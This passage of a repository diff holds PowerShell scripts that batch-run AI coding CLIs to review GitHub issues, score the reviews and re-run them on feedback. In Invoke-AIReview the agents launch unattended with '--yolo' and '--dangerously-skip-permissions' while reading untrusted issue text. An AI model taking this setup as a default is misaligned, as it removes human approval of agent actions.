)
$ghArgs = @('issue', 'list', '--repo', $Repository, '--state', $State, '--limit', $Limit)
if ($Labels) {
foreach ($label in ($Labels -split ',')) {
$ghArgs += @('--label', $label.Trim())
}
}
# Build JSON fields (use reactionGroups instead of reactions)
$jsonFields = 'number,title,state,labels,createdAt,updatedAt,author,reactionGroups,comments'
$ghArgs += @('--json', $jsonFields)
Info "Querying issues: gh $($ghArgs -join ' ')"
$result = & gh @ghArgs 2>&1
if ($LASTEXITCODE -ne 0) {
throw "Failed to query issues: $result"
}
$issues = $result | ConvertFrom-Json
# Sort by reactions if requested (gh CLI doesn't support this natively)
if ($Sort -eq 'reactions') {
$issues = $issues | ForEach-Object {
# reactionGroups is an array of {content, users} - sum up user counts
$totalReactions = ($_.reactionGroups | ForEach-Object { $_.users.totalCount } | Measure-Object -Sum).Sum
if (-not $totalReactions) { $totalReactions = 0 }
$_ | Add-Member -NotePropertyName 'totalReactions' -NotePropertyValue $totalReactions -PassThru
}
if ($Order -eq 'desc') {
$issues = $issues | Sort-Object -Property totalReactions -Descending
} else {
$issues = $issues | Sort-Object -Property totalReactions
}
}
return $issues
}
function Get-IssueDetails {
<#
.SYNOPSIS
Get detailed information about a specific issue.
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[string]$Repository = 'microsoft/PowerToys'
)
$jsonFields = 'number,title,body,state,labels,createdAt,updatedAt,author,reactions,comments,linkedPullRequests,milestone'
$result = gh issue view $IssueNumber --repo $Repository --json $jsonFields 2>&1
if ($LASTEXITCODE -ne 0) {
throw "Failed to get issue #$IssueNumber`: $result"
}
return $result | ConvertFrom-Json
}
#endregion
#region CLI Detection and Execution
function Get-AvailableCLI {
<#
.SYNOPSIS
Detect which AI CLI is available: GitHub Copilot CLI or Claude Code.
.OUTPUTS
Returns object with: Name, Command, PromptArg
#>
# Check for standalone GitHub Copilot CLI (copilot command)
$copilotCLI = Get-Command 'copilot' -ErrorAction SilentlyContinue
if ($copilotCLI) {
return @{
Name = 'GitHub Copilot CLI'
Command = 'copilot'
Args = @('-p') # Non-interactive prompt mode
Type = 'copilot'
}
}
# Check for Claude Code CLI
$claudeCode = Get-Command 'claude' -ErrorAction SilentlyContinue
if ($claudeCode) {
return @{
Name = 'Claude Code CLI'
Command = 'claude'
Args = @()
Type = 'claude'
}
}
# Check for GitHub Copilot CLI via gh extension
$ghCopilot = Get-Command 'gh' -ErrorAction SilentlyContinue
if ($ghCopilot) {
$copilotCheck = gh extension list 2>&1 | Select-String -Pattern 'copilot'
if ($copilotCheck) {
return @{
Name = 'GitHub Copilot CLI (gh extension)'
Command = 'gh'
Args = @('copilot', 'suggest')
Type = 'gh-copilot'
}
}
}
# Check for VS Code CLI with Copilot
$code = Get-Command 'code' -ErrorAction SilentlyContinue
if ($code) {
return @{
Name = 'VS Code (Copilot Chat)'
Command = 'code'
Args = @()
Type = 'vscode'
}
}
return $null
}
function Invoke-AIReview {
<#
.SYNOPSIS
Invoke AI CLI to review a single issue.
.PARAMETER IssueNumber
The issue number to review.
.PARAMETER RepoRoot
Repository root path.
.PARAMETER CLIType
CLI type: 'claude', 'copilot', 'gh-copilot', or 'vscode'.
.PARAMETER WorkingDirectory
Working directory for the CLI command.
.PARAMETER FeedbackContext
Optional feedback from review-the-review to incorporate into the re-review.
.PARAMETER Model
Optional model override for Copilot CLI (e.g., claude-sonnet-4).
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[string]$RepoRoot,
[ValidateSet('claude', 'copilot', 'gh-copilot', 'vscode')]
[string]$CLIType = 'copilot',
[string]$WorkingDirectory,
[string]$FeedbackContext,
[string]$Model
)
if (-not $WorkingDirectory) {
$WorkingDirectory = $RepoRoot
}
$promptFile = Join-Path $RepoRoot "$_cfgDir/prompts/review-issue.prompt.md"
if (-not (Test-Path $promptFile)) {
throw "Prompt file not found: $promptFile"
}
# Prepare the prompt with issue number substitution
$promptContent = Get-Content $promptFile -Raw
$promptContent = $promptContent -replace '\{\{issue_number\}\}', $IssueNumber
# Create temp prompt file
$tempPromptDir = Join-Path $env:TEMP "issue-review-$IssueNumber"
Ensure-DirectoryExists -Path $tempPromptDir
$tempPromptFile = Join-Path $tempPromptDir "prompt.md"
$promptContent | Set-Content -Path $tempPromptFile -Encoding UTF8
# Build the prompt text for CLI
$promptText = "Review GitHub issue #$IssueNumber following the template in $_cfgDir/prompts/review-issue.prompt.md. Generate overview.md and implementation-plan.md in 'Generated Files/issueReview/$IssueNumber/'"
# Inject feedback from review-the-review if available
if ($FeedbackContext) {
$promptText += @"
IMPORTANT: This is a RE-REVIEW. A previous review was rejected by the quality gate. You MUST address ALL the corrective feedback below. Read the feedback carefully and fix every issue identified.
=== CORRECTIVE FEEDBACK FROM REVIEW-THE-REVIEW ===
$FeedbackContext
=== END FEEDBACK ===
Pay special attention to:
1. Score corrections adjust scores to match the evidence cited in the feedback
2. File path corrections verify all paths exist before including them
3. Pattern corrections use the patterns identified as correct in the feedback
4. Missing coverage add any sections flagged as missing
5. Task breakdown fixes make tasks specific and executable
"@
}
switch ($CLIType) {
'copilot' {
# GitHub Copilot CLI (standalone copilot command)
# Use --yolo for full permissions (--allow-all-tools --allow-all-paths --allow-all-urls)
# Use -s (silent) for cleaner output in batch mode
# Enable ALL GitHub MCP tools (issues, PRs, repos, etc.) + github-artifacts for images/attachments
# MCP config path relative to repo root for github-artifacts tools
$mcpConfig = "@$_cfgDir/skills/issue-review/references/mcp-config.json"
$args = @(
'--additional-mcp-config', $mcpConfig, # Load github-artifacts MCP for image/attachment analysis
'-p', $promptText, # Non-interactive prompt mode (exits after completion)
'--yolo', # Enable all permissions for automated execution
'-s', # Silent mode - output only agent response
'--enable-all-github-mcp-tools', # Enable ALL GitHub MCP tools (issues, PRs, search, etc.)
'--allow-tool', 'github-artifacts', # Also enable our custom github-artifacts MCP
'--agent', 'ReviewIssue'
)
if ($Model) {
$args += @('--model', $Model)
}
return @{
Command = 'copilot'
Arguments = $args
WorkingDirectory = $WorkingDirectory
IssueNumber = $IssueNumber
}
}
'claude' {
# Claude Code CLI
$args = @(
'--print', # Non-interactive mode
'--dangerously-skip-permissions',
'--agent', 'ReviewIssue',
'--prompt', $promptText
)
return @{
Command = 'claude'
Arguments = $args
WorkingDirectory = $WorkingDirectory
IssueNumber = $IssueNumber
}
}
'gh-copilot' {
# GitHub Copilot CLI via gh
$args = @(
'copilot', 'suggest',
'-t', 'shell',
"Review GitHub issue #$IssueNumber and generate analysis files"
)
return @{
Command = 'gh'
Arguments = $args
WorkingDirectory = $WorkingDirectory
IssueNumber = $IssueNumber
}
}
'vscode' {
# VS Code with Copilot - open with prompt
$args = @(
'--new-window',
$WorkingDirectory,
'--goto', $tempPromptFile
)
return @{
Command = 'code'
Arguments = $args
WorkingDirectory = $WorkingDirectory
IssueNumber = $IssueNumber
}
}
}
}
#endregion
#region Parallel Job Management
function Start-ParallelIssueReviews {
<#
.SYNOPSIS
Start parallel issue reviews with throttling.
.PARAMETER Issues
Array of issue objects to review.
.PARAMETER MaxConcurrent
Maximum number of parallel jobs. Default: 20.
.PARAMETER CLIType
CLI type to use for reviews.
.PARAMETER RepoRoot
Repository root path.
.PARAMETER TimeoutMinutes
Timeout per issue in minutes. Default: 30.
.PARAMETER MaxRetryCount
Maximum number of retries for failed issues. Default: 2.
.PARAMETER RetryDelaySeconds
Delay between retries in seconds. Default: 10.
#>
param(
[Parameter(Mandatory)]
[array]$Issues,
[int]$MaxConcurrent = 20,
[ValidateSet('claude', 'copilot', 'gh-copilot', 'vscode')]
[string]$CLIType = 'copilot',
[Parameter(Mandatory)]
[string]$RepoRoot,
[int]$TimeoutMinutes = 30,
[int]$MaxRetryCount = 2,
[int]$RetryDelaySeconds = 10,
[string]$FeedbackContext,
[string]$Model
)
$totalIssues = $Issues.Count
$completed = 0
$failed = @()
$succeeded = @()
$retryQueue = [System.Collections.Queue]::new()
Info "Starting parallel review of $totalIssues issues (max $MaxConcurrent concurrent, $MaxRetryCount retries)"
# Use PowerShell jobs for parallelization
$jobs = @()
$issueQueue = [System.Collections.Queue]::new($Issues)
while ($issueQueue.Count -gt 0 -or $jobs.Count -gt 0 -or $retryQueue.Count -gt 0) {
# Process retry queue when main queue is empty
if ($issueQueue.Count -eq 0 -and $retryQueue.Count -gt 0 -and $jobs.Count -lt $MaxConcurrent) {
$retryItem = $retryQueue.Dequeue()
Warn "🔄 Retrying issue #$($retryItem.IssueNumber) (attempt $($retryItem.Attempt + 1)/$($MaxRetryCount + 1))"
Start-Sleep -Seconds $RetryDelaySeconds
$issueQueue.Enqueue(@{ number = $retryItem.IssueNumber; _retryAttempt = $retryItem.Attempt + 1 })
}
# Start new jobs up to MaxParallel
while ($jobs.Count -lt $MaxConcurrent -and $issueQueue.Count -gt 0) {
$issue = $issueQueue.Dequeue()
$issueNum = $issue.number
$retryAttempt = if ($issue._retryAttempt) { $issue._retryAttempt } else { 0 }
$attemptInfo = if ($retryAttempt -gt 0) { " (retry $retryAttempt)" } else { "" }
Info "Starting review for issue #$issueNum$attemptInfo ($($totalIssues - $issueQueue.Count)/$totalIssues)"
$job = Start-Job -Name "Issue-$issueNum" -ScriptBlock {
param($IssueNumber, $RepoRoot, $CLIType, $FeedbackCtx, $ModelOverride)
Set-Location $RepoRoot
# Import the library in the job context
. "$RepoRoot/.github/review-tools/IssueReviewLib.ps1"
try {
$reviewParams = @{
IssueNumber = $IssueNumber
RepoRoot = $RepoRoot
CLIType = $CLIType
}
if ($FeedbackCtx) {
$reviewParams.FeedbackContext = $FeedbackCtx
}
if ($ModelOverride) {
$reviewParams.Model = $ModelOverride
}
$reviewCmd = Invoke-AIReview @reviewParams
# Execute the command using invocation operator (works for .ps1 scripts and executables)
Set-Location $reviewCmd.WorkingDirectory
$argList = $reviewCmd.Arguments
# Capture both stdout and stderr for better error reporting
$output = & $reviewCmd.Command @argList 2>&1
$exitCode = $LASTEXITCODE
# Get last 20 lines of output for error context
$outputLines = $output | Out-String
$lastLines = ($outputLines -split "`n" | Select-Object -Last 20) -join "`n"
# Check if output files were created (success indicator)
$overviewPath = Join-Path $RepoRoot "Generated Files/issueReview/$IssueNumber/overview.md"
$implPlanPath = Join-Path $RepoRoot "Generated Files/issueReview/$IssueNumber/implementation-plan.md"
$filesCreated = (Test-Path $overviewPath) -and (Test-Path $implPlanPath)
return @{
IssueNumber = $IssueNumber
Success = ($exitCode -eq 0) -or $filesCreated
ExitCode = $exitCode
FilesCreated = $filesCreated
Output = $lastLines
Error = if ($exitCode -ne 0 -and -not $filesCreated) { "Exit code: $exitCode`n$lastLines" } else { $null }
}
}
catch {
return @{
IssueNumber = $IssueNumber
Success = $false
ExitCode = -1
FilesCreated = $false
Output = $null
Error = $_.Exception.Message
}
}
} -ArgumentList $issueNum, $RepoRoot, $CLIType, $FeedbackContext, $Model
$jobs += @{
Job = $job
IssueNumber = $issueNum
StartTime = Get-Date
RetryAttempt = $retryAttempt
}
}
# Check for completed jobs
$completedJobs = @()
foreach ($jobInfo in $jobs) {
$job = $jobInfo.Job
$issueNum = $jobInfo.IssueNumber
$startTime = $jobInfo.StartTime
$retryAttempt = $jobInfo.RetryAttempt
if ($job.State -eq 'Completed') {
$result = Receive-Job -Job $job
Remove-Job -Job $job -Force
if ($result.Success) {
Success "✓ Issue #$issueNum completed (files created: $($result.FilesCreated))"
$succeeded += $issueNum
$completed++
} else {
# Check if we should retry
if ($retryAttempt -lt $MaxRetryCount) {
$errorPreview = if ($result.Error) { ($result.Error -split "`n" | Select-Object -First 3) -join " | " } else { "Unknown error" }
Warn "⚠ Issue #$issueNum failed (will retry): $errorPreview"
$retryQueue.Enqueue(@{ IssueNumber = $issueNum; Attempt = $retryAttempt; LastError = $result.Error })
} else {
$errorMsg = if ($result.Error) { $result.Error } else { "Exit code: $($result.ExitCode)" }
Err "✗ Issue #$issueNum failed after $($retryAttempt + 1) attempts:"
Err " Error: $errorMsg"
$failed += @{ IssueNumber = $issueNum; Error = $errorMsg; Attempts = $retryAttempt + 1 }
$completed++
}
}
$completedJobs += $jobInfo
}
elseif ($job.State -eq 'Failed') {
$jobError = $job.ChildJobs[0].JobStateInfo.Reason.Message
Remove-Job -Job $job -Force
if ($retryAttempt -lt $MaxRetryCount) {
Warn "⚠ Issue #$issueNum job crashed (will retry): $jobError"
$retryQueue.Enqueue(@{ IssueNumber = $issueNum; Attempt = $retryAttempt; LastError = $jobError })
} else {
Err "✗ Issue #$issueNum job failed after $($retryAttempt + 1) attempts: $jobError"
$failed += @{ IssueNumber = $issueNum; Error = $jobError; Attempts = $retryAttempt + 1 }
$completed++
}
$completedJobs += $jobInfo
}
elseif ((Get-Date) - $startTime -gt [TimeSpan]::FromMinutes($TimeoutMinutes)) {
Stop-Job -Job $job -ErrorAction SilentlyContinue
Remove-Job -Job $job -Force
if ($retryAttempt -lt $MaxRetryCount) {
Warn "⏱ Issue #$issueNum timed out after $TimeoutMinutes min (will retry)"
$retryQueue.Enqueue(@{ IssueNumber = $issueNum; Attempt = $retryAttempt; LastError = "Timeout after $TimeoutMinutes minutes" })
} else {
Err "⏱ Issue #$issueNum timed out after $($retryAttempt + 1) attempts"
$failed += @{ IssueNumber = $issueNum; Error = "Timeout after $TimeoutMinutes minutes"; Attempts = $retryAttempt + 1 }
$completed++
}
$completedJobs += $jobInfo
}
}
# Remove completed jobs from active list
$jobs = $jobs | Where-Object { $_ -notin $completedJobs }
# Brief pause to avoid tight loop
if ($jobs.Count -gt 0) {
Start-Sleep -Seconds 2
}
}
# Extract just issue numbers for the failed list
$failedNumbers = $failed | ForEach-Object { $_.IssueNumber }
return @{
Total = $totalIssues
Succeeded = $succeeded
Failed = $failedNumbers
FailedDetails = $failed
}
}
#endregion
#region Issue Review Results Helpers
function Get-IssueReviewResult {
<#
.SYNOPSIS
Check if an issue has been reviewed and get its results.
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[string]$RepoRoot
)
$reviewPath = Get-IssueReviewPath -RepoRoot $RepoRoot -IssueNumber $IssueNumber
$result = @{
IssueNumber = $IssueNumber
Path = $reviewPath
HasOverview = $false
HasImplementationPlan = $false
OverviewPath = $null
ImplementationPlanPath = $null
}
$overviewPath = Join-Path $reviewPath 'overview.md'
$implPlanPath = Join-Path $reviewPath 'implementation-plan.md'
if (Test-Path $overviewPath) {
$result.HasOverview = $true
$result.OverviewPath = $overviewPath
}
if (Test-Path $implPlanPath) {
$result.HasImplementationPlan = $true
$result.ImplementationPlanPath = $implPlanPath
}
return $result
}
function Get-HighConfidenceIssues {
<#
.SYNOPSIS
Find issues with high confidence for auto-fix based on review results.
.PARAMETER RepoRoot
Repository root path.
.PARAMETER MinFeasibilityScore
Minimum Technical Feasibility score (0-100). Default: 70.
.PARAMETER MinClarityScore
Minimum Requirement Clarity score (0-100). Default: 60.
.PARAMETER MaxEffortDays
Maximum effort estimate in days. Default: 2 (S = Small).
.PARAMETER FilterIssueNumbers
Optional array of issue numbers to filter to. If specified, only these issues are considered.
#>
param(
[Parameter(Mandatory)]
[string]$RepoRoot,
[int]$MinFeasibilityScore = 70,
[int]$MinClarityScore = 60,
[int]$MaxEffortDays = 2,
[int[]]$FilterIssueNumbers = @()
)
$genFiles = Get-GeneratedFilesPath -RepoRoot $RepoRoot
$reviewDir = Join-Path $genFiles 'issueReview'
if (-not (Test-Path $reviewDir)) {
return @()
}
$highConfidence = @()
Get-ChildItem -Path $reviewDir -Directory | ForEach-Object {
$issueNum = [int]$_.Name
# Skip if filter is specified and this issue is not in the filter list
if ($FilterIssueNumbers.Count -gt 0 -and $issueNum -notin $FilterIssueNumbers) {
return
}
$overviewPath = Join-Path $_.FullName 'overview.md'
$implPlanPath = Join-Path $_.FullName 'implementation-plan.md'
if (-not (Test-Path $overviewPath) -or -not (Test-Path $implPlanPath)) {
return
}
# Parse overview.md to extract scores
$overview = Get-Content $overviewPath -Raw
# Extract scores using regex (looking for score table or inline scores)
$feasibility = 0
$clarity = 0
$effortDays = 999
# Try to extract from At-a-Glance Score Table
if ($overview -match 'Technical Feasibility[^\d]*(\d+)/100') {
$feasibility = [int]$Matches[1]
}
if ($overview -match 'Requirement Clarity[^\d]*(\d+)/100') {
$clarity = [int]$Matches[1]
}
# Match effort formats like "0.5-1 day", "1-2 days", "2-3 days" - extract the upper bound
if ($overview -match 'Effort Estimate[^|]*\|\s*[\d.]+(?:-(\d+))?\s*days?') {
if ($Matches[1]) {
$effortDays = [int]$Matches[1]
} elseif ($overview -match 'Effort Estimate[^|]*\|\s*(\d+)\s*days?') {
$effortDays = [int]$Matches[1]
}
}
# Also check for XS/S sizing in the table (e.g., "| XS |" or "| S |" or "(XS)" or "(S)")
if ($overview -match 'Effort Estimate[^|]*\|[^|]*\|\s*(XS|S)\b') {
# XS = 1 day, S = 2 days
if ($Matches[1] -eq 'XS') {
$effortDays = 1
} else {
$effortDays = 2
}
} elseif ($overview -match 'Effort Estimate[^|]*\|[^|]*\(XS\)') {
$effortDays = 1
} elseif ($overview -match 'Effort Estimate[^|]*\|[^|]*\(S\)') {
$effortDays = 2
}
if ($feasibility -ge $MinFeasibilityScore -and
$clarity -ge $MinClarityScore -and
$effortDays -le $MaxEffortDays) {
$highConfidence += @{
IssueNumber = $issueNum
FeasibilityScore = $feasibility
ClarityScore = $clarity
EffortDays = $effortDays
OverviewPath = $overviewPath
ImplementationPlanPath = $implPlanPath
}
}
}
return $highConfidence | Sort-Object -Property FeasibilityScore -Descending
}
#endregion
#region Worktree Integration
function Copy-IssueReviewToWorktree {
<#
.SYNOPSIS
Copy the Generated Files for an issue to a worktree.
.PARAMETER IssueNumber
The issue number.
.PARAMETER SourceRepoRoot
Source repository root (main repo).
.PARAMETER WorktreePath
Destination worktree path.
#>
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[Parameter(Mandatory)]
[string]$SourceRepoRoot,
[Parameter(Mandatory)]
[string]$WorktreePath
)
$sourceReviewPath = Get-IssueReviewPath -RepoRoot $SourceRepoRoot -IssueNumber $IssueNumber
$destReviewPath = Get-IssueReviewPath -RepoRoot $WorktreePath -IssueNumber $IssueNumber
if (-not (Test-Path $sourceReviewPath)) {
throw "Issue review files not found at: $sourceReviewPath"
}
Ensure-DirectoryExists -Path $destReviewPath
# Copy all files from the issue review folder
Copy-Item -Path "$sourceReviewPath\*" -Destination $destReviewPath -Recurse -Force
Info "Copied issue review files to: $destReviewPath"
return $destReviewPath
}
#endregion
# Note: This script is dot-sourced, not imported as a module.
# All functions above are available after: . "path/to/IssueReviewLib.ps1"

View File

@@ -1,298 +0,0 @@
<#
.SYNOPSIS
Orchestrate the feedback loop: re-run issue-review with corrections, then re-review.
.DESCRIPTION
For each issue whose review-review score is below the threshold:
1. Re-run issue-review with the corrective feedback from reviewTheReview.md
2. Re-run review-review on the updated review files
3. Repeat up to MaxIterations times or until the score passes
.PARAMETER ThrottleLimit
Maximum parallel tasks. Default: 3.
.PARAMETER QualityThreshold
Score threshold for PASS. Default: 90.
.PARAMETER MaxIterations
Maximum feedback loop iterations per issue. Default: 3.
.PARAMETER CLIType
AI CLI type (copilot/claude). Default: copilot.
.PARAMETER Model
Copilot CLI model override (e.g., claude-sonnet-4).
.PARAMETER IssueNumbers
Optional: specific issue numbers to process. If omitted, processes all issues with needsReReview=true.
.PARAMETER Force
Skip confirmation prompts.
.EXAMPLE
./Start-FeedbackLoop.ps1 -CLIType copilot -Model claude-sonnet-4 -ThrottleLimit 3 -Force
.EXAMPLE
# Process specific issues only
./Start-FeedbackLoop.ps1 -IssueNumbers @(1929, 1934) -CLIType copilot -Model claude-sonnet-4 -Force
#>
[CmdletBinding()]
param(
[int]$ThrottleLimit = 3,
[int]$QualityThreshold = 90,
[int]$MaxIterations = 3,
[ValidateSet('copilot', 'claude')]
[string]$CLIType = 'copilot',
[string]$Model,
[int[]]$IssueNumbers,
[switch]$Force
)
$ErrorActionPreference = 'Continue'
$repoRoot = Resolve-Path (Join-Path $PSScriptRoot '..\..\..\..')
# Resolve config directory name (.github or .claude) from script location
$_cfgDir = if ($PSScriptRoot -match '[\\/](\.github|\.claude)[\\/]') { $Matches[1] } else { '.github' }
$genFiles = Join-Path $repoRoot 'Generated Files'
$reviewReviewDir = Join-Path $genFiles 'issueReviewReview'
$issueReviewDir = Join-Path $genFiles 'issueReview'
$bulkReviewScript = Join-Path $repoRoot "$_cfgDir\skills\issue-review\scripts\Start-BulkIssueReview.ps1"
$reviewReviewScript = Join-Path $repoRoot "$_cfgDir\skills\issue-review-review\scripts\Start-IssueReviewReview.ps1"
Write-Host "=== FEEDBACK LOOP ORCHESTRATOR ===" -ForegroundColor Cyan
Write-Host "Repository root: $repoRoot"
Write-Host "Quality threshold: $QualityThreshold"
Write-Host "Max iterations: $MaxIterations"
Write-Host "Throttle limit: $ThrottleLimit"
Write-Host "CLI: $CLIType $(if ($Model) { "(model: $Model)" })"
Write-Host ""
# ------------------------------------------------------------------
# Step 1: Identify issues that need re-review
# ------------------------------------------------------------------
if ($IssueNumbers -and $IssueNumbers.Count -gt 0) {
# Use explicit list
$needsWork = $IssueNumbers | ForEach-Object {
$signalPath = Join-Path $reviewReviewDir "$_\.signal"
if (Test-Path $signalPath) {
$signal = Get-Content $signalPath -Raw | ConvertFrom-Json
[PSCustomObject]@{
IssueNumber = $_
CurrentScore = [int]$signal.qualityScore
Iteration = [int]$signal.iteration
FeedbackFile = Join-Path $reviewReviewDir "$_\reviewTheReview.md"
}
}
else {
Write-Host " Warning: No signal for issue #$_ — skipping" -ForegroundColor Yellow
}
} | Where-Object { $_ }
}
else {
# Auto-discover from signals with needsReReview = true
$needsWork = Get-ChildItem $reviewReviewDir -Directory -ErrorAction SilentlyContinue |
Where-Object { Test-Path (Join-Path $_.FullName '.signal') } |
ForEach-Object {
$signal = Get-Content (Join-Path $_.FullName '.signal') -Raw | ConvertFrom-Json
if ($signal.needsReReview -eq $true -and [int]$signal.iteration -lt $MaxIterations) {
[PSCustomObject]@{
IssueNumber = [int]$signal.issueNumber
CurrentScore = [int]$signal.qualityScore
Iteration = [int]$signal.iteration
FeedbackFile = Join-Path $_.FullName 'reviewTheReview.md'
}
}
} | Sort-Object IssueNumber
}
if (-not $needsWork -or $needsWork.Count -eq 0) {
Write-Host "No issues need re-review. All passed or reached max iterations." -ForegroundColor Green
return
}
Write-Host "Issues needing feedback loop: $($needsWork.Count)" -ForegroundColor Yellow
Write-Host ("-" * 70)
$needsWork | Format-Table IssueNumber, CurrentScore, Iteration -AutoSize | Out-String | Write-Host
Write-Host ("-" * 70)
if (-not $Force) {
$confirm = Read-Host "Proceed with feedback loop for $($needsWork.Count) issues? (y/N)"
if ($confirm -notmatch '^[yY]') {
Write-Host "Cancelled."
return
}
}
# ------------------------------------------------------------------
# Step 2: Run feedback loop in parallel
# ------------------------------------------------------------------
$startTime = Get-Date
$results = $needsWork | ForEach-Object -Parallel {
$item = $PSItem
$repoRoot = $using:repoRoot
$bulkScript = $using:bulkReviewScript
$reviewScript = $using:reviewReviewScript
$cliType = $using:CLIType
$model = $using:Model
$qualityThreshold = $using:QualityThreshold
$maxIter = $using:MaxIterations
Set-Location $repoRoot
$issueNum = $item.IssueNumber
$currentScore = $item.CurrentScore
$currentIter = $item.Iteration
$feedbackFile = $item.FeedbackFile
Write-Host "[#$issueNum] Starting feedback loop (current score: $currentScore, iteration: $currentIter)" -ForegroundColor Cyan
# Phase A: Re-run issue-review with corrective feedback
Write-Host "[#$issueNum] Phase A: Re-running issue-review with feedback..." -ForegroundColor Yellow
$bulkParams = @{
IssueNumber = $issueNum
CLIType = $cliType
Force = $true
}
if ($model) { $bulkParams.Model = $model }
if (Test-Path $feedbackFile) {
$bulkParams.FeedbackFile = $feedbackFile
}
try {
& $bulkScript @bulkParams 2>&1 | ForEach-Object { Write-Host "[#$issueNum] $_" }
}
catch {
Write-Host "[#$issueNum] Phase A error: $($_.Exception.Message)" -ForegroundColor Red
return [PSCustomObject]@{
IssueNumber = $issueNum
OldScore = $currentScore
NewScore = 0
Iteration = $currentIter
Status = 'FAILED_REVIEW'
Error = $_.Exception.Message
}
}
# Phase B: Re-run review-review on the updated files
Write-Host "[#$issueNum] Phase B: Re-running review-review..." -ForegroundColor Yellow
$rrParams = @{
IssueNumber = $issueNum
CLIType = $cliType
Force = $true
}
if ($model) { $rrParams.Model = $model }
try {
& $reviewScript @rrParams 2>&1 | ForEach-Object { Write-Host "[#$issueNum] $_" }
}
catch {
Write-Host "[#$issueNum] Phase B error: $($_.Exception.Message)" -ForegroundColor Red
return [PSCustomObject]@{
IssueNumber = $issueNum
OldScore = $currentScore
NewScore = 0
Iteration = $currentIter + 1
Status = 'FAILED_REVIEW_REVIEW'
Error = $_.Exception.Message
}
}
# Read updated signal
$signalPath = Join-Path $using:reviewReviewDir "$issueNum\.signal"
if (Test-Path $signalPath) {
$newSignal = Get-Content $signalPath -Raw | ConvertFrom-Json
$newScore = [int]$newSignal.qualityScore
$newIter = [int]$newSignal.iteration
$verdict = $newSignal.verdict
$status = if ($newScore -ge $qualityThreshold) { 'IMPROVED_TO_PASS' }
elseif ($newScore -gt $currentScore) { 'IMPROVED' }
elseif ($newScore -eq $currentScore) { 'NO_CHANGE' }
else { 'REGRESSED' }
Write-Host "[#$issueNum] Done: $currentScore$newScore ($status)" -ForegroundColor $(
if ($status -eq 'IMPROVED_TO_PASS') { 'Green' }
elseif ($status -eq 'IMPROVED') { 'Yellow' }
else { 'Red' }
)
[PSCustomObject]@{
IssueNumber = $issueNum
OldScore = $currentScore
NewScore = $newScore
Iteration = $newIter
Status = $status
Verdict = $verdict
}
}
else {
[PSCustomObject]@{
IssueNumber = $issueNum
OldScore = $currentScore
NewScore = 0
Iteration = $currentIter + 1
Status = 'NO_SIGNAL'
Error = 'No signal file after review-review'
}
}
} -ThrottleLimit $ThrottleLimit
$duration = (Get-Date) - $startTime
# ------------------------------------------------------------------
# Step 3: Summary
# ------------------------------------------------------------------
Write-Host ""
Write-Host ("=" * 70) -ForegroundColor Cyan
Write-Host " FEEDBACK LOOP SUMMARY" -ForegroundColor Cyan
Write-Host ("=" * 70) -ForegroundColor Cyan
$improved = @($results | Where-Object Status -eq 'IMPROVED_TO_PASS')
$partial = @($results | Where-Object Status -eq 'IMPROVED')
$noChange = @($results | Where-Object Status -eq 'NO_CHANGE')
$regressed = @($results | Where-Object Status -eq 'REGRESSED')
$errors = @($results | Where-Object { $_.Status -like 'FAILED*' -or $_.Status -eq 'NO_SIGNAL' })
Write-Host "Total processed: $($results.Count)"
Write-Host "Improved to PASS: $($improved.Count)" -ForegroundColor Green
Write-Host "Improved (below): $($partial.Count)" -ForegroundColor Yellow
Write-Host "No change: $($noChange.Count)" -ForegroundColor DarkYellow
Write-Host "Regressed: $($regressed.Count)" -ForegroundColor Red
Write-Host "Errors: $($errors.Count)" -ForegroundColor Red
Write-Host "Duration: $($duration.ToString('hh\:mm\:ss'))"
Write-Host ("=" * 70) -ForegroundColor Cyan
# Show details
if ($results.Count -gt 0) {
Write-Host ""
Write-Host "Details:" -ForegroundColor White
$results | Sort-Object NewScore -Descending | Format-Table IssueNumber, OldScore, NewScore, Status, Iteration -AutoSize | Out-String | Write-Host
}
# Count remaining issues that still need work
$stillNeedsWork = Get-ChildItem $reviewReviewDir -Directory -ErrorAction SilentlyContinue |
Where-Object { Test-Path (Join-Path $_.FullName '.signal') } |
ForEach-Object {
$signal = Get-Content (Join-Path $_.FullName '.signal') -Raw | ConvertFrom-Json
if ($signal.needsReReview -eq $true -and [int]$signal.iteration -lt $MaxIterations) { $signal }
}
if ($stillNeedsWork.Count -gt 0) {
Write-Host "`nStill needs improvement: $($stillNeedsWork.Count) issues" -ForegroundColor Yellow
Write-Host "Run this script again for another iteration." -ForegroundColor Yellow
}
else {
Write-Host "`nAll issues have either passed or reached max iterations!" -ForegroundColor Green
}
# Return results for pipeline
return $results

View File

@@ -1,327 +0,0 @@
<#
.SYNOPSIS
Meta-review of issue-review outputs to validate scoring and implementation plan quality.
.DESCRIPTION
Reads the existing overview.md and implementation-plan.md from issue-review,
cross-checks scores against evidence, validates file paths and patterns,
and produces a reviewTheReview.md with a quality score (0-100).
If the quality score is < 90, the signal file indicates that issue-review
should re-run with the feedback.
.PARAMETER IssueNumber
GitHub issue number whose review to validate.
.PARAMETER CLIType
AI CLI to use: copilot or claude. Default: copilot.
.PARAMETER Model
Copilot CLI model to use (e.g., gpt-5.2-codex).
.PARAMETER Force
Skip confirmation prompts.
.PARAMETER DryRun
Show what would be done without executing.
.EXAMPLE
./Start-IssueReviewReview.ps1 -IssueNumber 44044
.EXAMPLE
./Start-IssueReviewReview.ps1 -IssueNumber 44044 -CLIType copilot -Model gpt-5.2-codex -Force
#>
[CmdletBinding()]
param(
[Parameter(Mandatory)]
[int]$IssueNumber,
[ValidateSet('copilot', 'claude')]
[string]$CLIType = 'copilot',
[string]$Model,
[switch]$Force,
[switch]$DryRun,
[switch]$Help
)
$scriptDir = Split-Path -Parent $MyInvocation.MyCommand.Path
. (Join-Path $scriptDir 'IssueReviewLib.ps1')
if ($Help) {
Get-Help $MyInvocation.MyCommand.Path -Full
return
}
#region Main
try {
$repoRoot = Get-RepoRoot
$genFiles = Get-GeneratedFilesPath -RepoRoot $repoRoot
Info "Repository root: $repoRoot"
#region Validate prerequisites
$reviewDir = Join-Path $genFiles "issueReview/$IssueNumber"
$overviewPath = Join-Path $reviewDir 'overview.md'
$implPlanPath = Join-Path $reviewDir 'implementation-plan.md'
if (-not (Test-Path $overviewPath)) {
throw "overview.md not found for issue #$IssueNumber at: $overviewPath. Run issue-review first."
}
if (-not (Test-Path $implPlanPath)) {
